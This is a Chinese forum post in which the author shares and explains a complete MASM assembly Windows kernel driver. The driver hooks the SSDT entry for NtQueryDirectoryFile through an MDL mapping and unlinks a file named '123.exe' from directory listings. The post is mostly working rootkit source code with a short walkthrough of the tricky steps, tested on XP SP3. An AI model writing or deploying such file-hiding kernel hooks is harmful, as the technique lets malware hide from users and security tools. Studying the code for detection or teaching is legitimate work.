今天花了不少时间终于自己写了个SSDT HOOK,也来发表一下第一次实战HOOK的心得和体会吧。
我用汇编写的,学习汇编的朋友也可以看下,其实汇编也挺好用的.....
这里实现文件隐藏是HOOK拦截NtQueryDirectoryFile函数来实现的.这个函数是WINDOWS查找目录文件用得函数,基本思想很简单,就是替换这个
函数让它一旦找到的是自己不想让系统看到的文件或目录就拦截下来.
其他的基础就不多说了关键说下代码实现过程中的问题
先附代码:
.386
.model flat, stdcall
option casemap:none
include d:\masm32\include\w2k\ntstatus.inc
include d:\masm32\include\w2k\ntddk.inc
include d:\masm32\include\w2k\native.inc
include d:\masm32\include\w2k\ntoskrnl.inc
includelib d:\masm32\lib\w2k\ntoskrnl.lib
include d:\masm32\Macros\Strings.mac
.data
_OldNtQueryDirectoryFileAddr dd ?
_Addr dd ?
.const
CCOUNTED_UNICODE_STRING "\\Device\\devHidDir", g_usDeviceName, 4
CCOUNTED_UNICODE_STRING "\\??\\slHidDir", g_usSymbolicLinkName, 4
CCOUNTED_UNICODE_STRING "123.exe", ProcessName, 4
.code
_NewNtQueryDirectoryFile proc hFile,hEvent,ApcRoutine,ApcContext,\
IoStatusBlock,FileInformation,FileInformationBufferLength,\
FileInformationClass,ReturnSingleEntry,FileName,RestartScan
invoke NtQueryDirectoryFile,hFile,hEvent,ApcRoutine,ApcContext,\
IoStatusBlock,FileInformation,FileInformationBufferLength,\
FileInformationClass,ReturnSingleEntry,FileName,RestartScan
pushad
test eax,eax
jnz _Exit
.if FileInformationClass == FileBothDirectoryInformation
mov esi,FileInformation
mov ebx,esi ;ebx指向第一个目录信息结构
add esi,[esi] ;esi指向第二个目录信息结构
@@:
add esi,5eh;在5eh偏移处取得文件名字(具体结构可以查MSDN FILE_BOTH_DIR_INFORMATION)。
invoke RtlInitUnicodeString,edi,esi
invoke RtlCompareUnicodeString,addr ProcessName,edi,1
.if !eax;判断是否匹配成功
invoke DbgPrint, $CTA0("\nsuccessful \n")
.if dword ptr [esi-5eh]==0 ;判断当前节点是否是表尾
mov dword ptr [ebx],0 ;是表尾则把当前节点的前一个节点指向0
jmp _Exit
.else ;如果不是表尾
sub esi,5eh
mov edx,[esi]
add dword ptr [ebx],edx ;则将前一个节点指向当前节点的后一个
add esi,[esi] ;这里仍要继续扫描
jmp @B
.endif
.else ;如果匹配不成功将指针指向下个节点继续扫描
sub esi,5eh
cmp dword ptr [esi],0 ;判断是否扫描到表尾
jz _Exit
mov ebx,esi
add esi,[esi]
jmp @B
.endif
.endif
_Exit:
popad
ret
_NewNtQueryDirectoryFile endp
_HookApi proc
pushad
mov eax,[KeServiceDescriptorTable];取SystemServiceDescriptorTable地址
mov esi,[eax];取SSDT得地址
mov ebx,dword ptr [esi+8]
imul ebx,4
invoke MmCreateMdl,NULL,dword ptr [esi],ebx;这里创建一个MDL用来写入只读的SSDT
or eax,eax
jz _ExitErr
mov esi,eax
invoke MmBuildMdlForNonPagedPool,esi
assume esi: ptr MDL
or [esi].MdlFlags,MDL_MAPPED_TO_SYSTEM_VA
invoke MmMapLockedPages,esi,KernelMode
mov esi,eax
mov eax,ZwQueryDirectoryFile ;JMP XXXX的地址
inc eax
inc eax;inc两次到XXXX
mov eax,[eax];取XXXX得地址
mov eax,[eax];取XXXX指向的函数基地址
inc eax;第二个字节放得是服务号
movzx ecx,byte ptr [eax]
sal ecx,2
add esi,ecx ;esi指向NtQueryDirectoryFile
mov _Addr,esi
mov edx,dword ptr [esi]
mov _OldNtQueryDirectoryFileAddr,edx
mov edi,offset _NewNtQueryDirectoryFile
cli
mov dword ptr [esi],edi
sti
popad
mov eax,STATUS_SUCCESS
_ExitErr:
ret
_HookApi endp
DriverUnload proc pDriverObject:PDRIVER_OBJECT
pushad
mov esi,_OldNtQueryDirectoryFileAddr
mov eax,_Addr
cli
mov dword ptr [eax],esi
sti
invoke IoDeleteSymbolicLink,addr g_usSymbolicLinkName
mov eax,pDriverObject
invoke IoDeleteDevice,(DRIVER_OBJECT ptr [eax]).DeviceObject
popad
ret
DriverUnload endp
DriverEntry proc pDriverObject:PDRIVER_OBJECT, pusRegistryPath:PUNICODE_STRING
local status:NTSTATUS
local pDeviceObject:PVOID
mov status,STATUS_DEVICE_CONFIGURATION_ERROR
invoke IoCreateDevice,pDriverObject,0,addr g_usDeviceName,FILE_DEVICE_UNKNOWN,\
0,FALSE,addr pDeviceObject
.if eax==STATUS_SUCCESS
invoke IoCreateSymbolicLink,addr g_usSymbolicLinkName,addr g_usDeviceName
.if eax==STATUS_SUCCESS
mov eax,pDriverObject
assume eax:ptr DRIVER_OBJECT
mov [eax].DriverUnload,offset DriverUnload
assume eax:nothing
invoke _HookApi
mov status,STATUS_SUCCESS
.else
invoke IoDeleteDevice,pDeviceObject
.endif
.endif
mov eax,status
ret
DriverEntry endp
end DriverEntry
代码我觉得难理解的地方都详细注释了大家可以看看
我说下自己写的过程中觉得难理解的地方吧
1. 为什么这5步能取到服务号?
mov eax,ZwQueryDirectoryFile ;JMP XXXX的地址
inc eax
inc eax;inc两次到XXXX
mov eax,[eax];取XXXX得地址
mov eax,[eax];取XXXX指向的函数基地址
inc eax;第二个字节放得是服务号
这个其实跟代码组织有关,大家不妨用OD任意反汇编一个ASM编译的执行文件,你会发现编译器在函数调用即CALL 后的地址并不是函数的真正的
地址,F7跟进这个CALL 你可以看到会跳到一个JMP XXXXXXXX的代码处,而这个XXXXXXXX地址里面存的才是导入表中函数地址.所以它会mov
eax,ZwQueryDirectoryFile然后+2(jmp这里机器码为FF25两个字节)就取到了JMP跳到的地址,在取这个地址的内容就是函数地址啦!
而服务号一般都是ZW函数入口第二个字节,所以inc eax就可以取到了!
2.SSDT在现在XP版本上是只读的,要用MDL来映射写入只读的SSDT这方面可以网上搜具体的原理
3.在实现隐藏的时候是脱链的方法,吧链表中间一个项去掉然后缝合好...,这个数据结构应该很多不多说了.
4.KeServiceDescriptorTable刚开始很难理解怎么这个东西好像什么都没用自己就能给出地址真神奇啊...,这里是导出的变量,它本身内容填好
了,所以我们可以直接取就是了.
在XP+SP3上调试成功,其他的可能有问题...
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课